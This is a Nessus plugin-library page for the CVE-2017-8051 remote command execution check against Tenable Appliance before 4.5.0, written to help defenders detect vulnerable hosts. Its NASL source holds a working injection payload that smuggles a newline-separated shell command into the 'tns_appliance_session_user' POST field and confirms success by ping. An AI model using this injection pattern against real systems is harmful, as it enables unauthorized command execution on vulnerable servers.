Tenable Appliance < 4.5.0 Web UI simpleupload.py Remote Command Execution (CVE-2017-8051) - Nessus

Critical   Plugin ID: 99595

This page contains detailed information about the Tenable Appliance < 4.5.0 Web UI simpleupload.py Remote Command Execution (CVE-2017-8051) Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 99595
Name: Tenable Appliance < 4.5.0 Web UI simpleupload.py Remote Command Execution (CVE-2017-8051)
Filename: tenable_appliance_4_5_0_rce.nasl
Vulnerability Published: 2017-03-07
This Plugin Published: 2017-04-21
Last Modification Time: 2021-02-22
Plugin Version: 1.7
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: tenable_appliance_web_detect.nasl
Required KB Items [?]: www/tenable_appliance

Vulnerability Information


Severity: Critical
Vulnerability Published: 2017-03-07
Patch Published: 2017-03-07
CVE [?]: CVE-2017-8051
CPE [?]: cpe:/a:tenable:appliance

Synopsis

The remote host is affected by a remote command execution vulnerability.

Description

The remote Tenable Appliance host is affected by a remote command execution vulnerability in the web user interface in the simpleupload.py script due to improper validation of user-supplied input. An unauthenticated, remote attacker can exploit this, via the 'tns_appliance_session_user' parameter, to execute arbitrary commands (CVE-2017-8051).

Solution

Upgrade to Tenable Appliance version 4.5.0 or later.

Public Exploits


Target Network Port(s): 8000
Target Asset(s): Services/www
Exploit Available: True (Exploit-DB)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the Tenable Appliance < 4.5.0 Web UI simpleupload.py Remote Command Execution (CVE-2017-8051) vulnerability:

  1. Exploit-DB: exploits/linux/remote/41892.sh
    [EDB-41892: Tenable Appliance < 4.5 - Root Remote Code Execution]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS Score Source [?]: CVE-2017-8051
CVSS V2 Vector: AV:N/AC:L/Au:N/C:C/I:C/A:C/E:POC/RL:OF/RC:C
CVSS Base Score:10.0 (High)
Impact Subscore:10.0
Exploitability Subscore:10.0
CVSS Temporal Score:7.8 (High)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:7.8 (High)
CVSS V3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:P/RL:O/RC:C
CVSS Base Score:9.8 (Critical)
Impact Subscore:5.9
Exploitability Subscore:3.9
CVSS Temporal Score:8.8 (High)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:8.8 (High)

Go back to menu.

Plugin Source


This is the tenable_appliance_4_5_0_rce.nasl nessus plugin source code. This script is Copyright (C) 2017-2021 Tenable Network Security, Inc.

#
# (C) Tenable Network Security, Inc.
#

include('compat.inc');

if (description)
{
  script_id(99595);
  script_version("1.7");
  script_set_attribute(attribute:"plugin_modification_date", value:"2021/02/22");
  script_cve_id("CVE-2017-8051");

  script_xref(name:"EDB-ID", value:"41892");

  script_name(english:"Tenable Appliance < 4.5.0 Web UI simpleupload.py Remote Command Execution (CVE-2017-8051)");

  script_set_attribute(attribute:"synopsis", value:
"The remote host is affected by a remote command execution
vulnerability.");
  script_set_attribute(attribute:"description", value:
"The remote Tenable Appliance host is affected by a remote command
execution vulnerability in the web user interface in the
simpleupload.py script due to improper validation of user-supplied
input. An unauthenticated, remote attacker can exploit this, via the
'tns_appliance_session_user' parameter, to execute arbitrary commands 
(CVE-2017-8051).");
  script_set_attribute(attribute:"see_also", value:"https://www.tenable.com/security/tns-2017-07");
  script_set_attribute(attribute:"solution", value:
"Upgrade to Tenable Appliance version 4.5.0 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:P/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2017-8051");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2017/03/07");
  script_set_attribute(attribute:"patch_publication_date", value:"2017/03/07");
  script_set_attribute(attribute:"plugin_publication_date", value:"2017/04/21");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:tenable:appliance");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2017-2021 Tenable Network Security, Inc.");

  script_dependencies("tenable_appliance_web_detect.nasl");
  script_require_keys("www/tenable_appliance");
  script_require_ports("Services/www", 8000);

  exit(0);
}

include('global_settings.inc');
include('misc_func.inc');
include('http.inc');
include('webapp_func.inc');
include('audit.inc');

port = get_http_port(default:8000);
install = get_install_from_kb(appname:'tenable_appliance', port:port, exit_on_fail:TRUE);
install_url = build_url(qs:'/', port:port);

appname = 'Tenable Appliance';

soc = open_sock_tcp(port);
if (!soc) audit(AUDIT_SOCK_FAIL, port, appname);

command = "ping -nc 10 " + compat::this_host();
data = 'returnpage=/&action=a&tns_appliance_session_token=61:62&tns_appliance_session_user=a"\\\'%0a' +
       command +
       '%0aecho';

http_request = 'POST /simpleupload.py HTTP/1.0\r\n' +
               'Host: ' + get_host_ip() + ':' + port + '\r\n' +
               'Content-Type: application/x-www-form-urlencoded\r\n' +
               'Content-Length: ' + len(data) + '\r\n' +
               '\r\n' +
               data;

filter = "icmp and icmp[0] = 8 and src host " + get_host_ip();
response = send_capture(socket:soc, data:http_request, pcap_filter:filter);
icmp = tolower(hexstr(get_icmp_element(icmp:response, element:"data")));
close(soc);

# No response, meaning it did not work
if(isnull(icmp)) audit(AUDIT_WEB_APP_NOT_AFFECTED, appname, install_url);

report =
  '\nNessus was able to exploit a remote command execution vulnerability' +
  '\nby sending a crafted request.' +
  '\n';
security_report_v4(port:port, severity:SECURITY_HOLE, extra:report);

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/tenable_appliance_4_5_0_rce.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\tenable_appliance_4_5_0_rce.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/tenable_appliance_4_5_0_rce.nasl

Go back to menu.

How to Run


Here is how to run the Tenable Appliance < 4.5.0 Web UI simpleupload.py Remote Command Execution (CVE-2017-8051) as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select Tenable Appliance < 4.5.0 Web UI simpleupload.py Remote Command Execution (CVE-2017-8051) plugin ID 99595.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl tenable_appliance_4_5_0_rce.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a tenable_appliance_4_5_0_rce.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - tenable_appliance_4_5_0_rce.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state tenable_appliance_4_5_0_rce.nasl -t <IP/HOST>

Go back to menu.

References


See also: Similar and related Nessus plugins:
  • 500334 - Beckhoff (CVE-2015-4051)
  • 500355 - Siemens (CVE-2019-13945)
  • 500392 - Rockwell (CVE-2020-12028)
  • 500424 - Siemens (CVE-2014-0160)
  • 500457 - Rockwell (CVE-2020-12027)
  • 500473 - Siemens (CVE-2014-0224)
  • 500478 - Rockwell (CVE-2020-12029)
  • 500484 - Siemens (CVE-2020-15782)
  • 500504 - Siemens (CVE-2021-3449)
  • 500518 - Mitsubishi (CVE-2018-16061)
  • 500529 - Mitsubishi (CVE-2019-14927)
  • 500532 - Mitsubishi (CVE-2020-12009)
  • 500534 - Mitsubishi (CVE-2018-16060)
  • 500598 - Mitsubishi (CVE-2019-14931)
  • 500614 - Siemens (CVE-2021-37204)
  • 500615 - Siemens (CVE-2021-37185)
  • 500616 - Siemens (CVE-2021-37205)

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file tenable_appliance_4_5_0_rce.nasl version 1.7. For more plugins, visit the Nessus Plugin Library.

Go back to menu.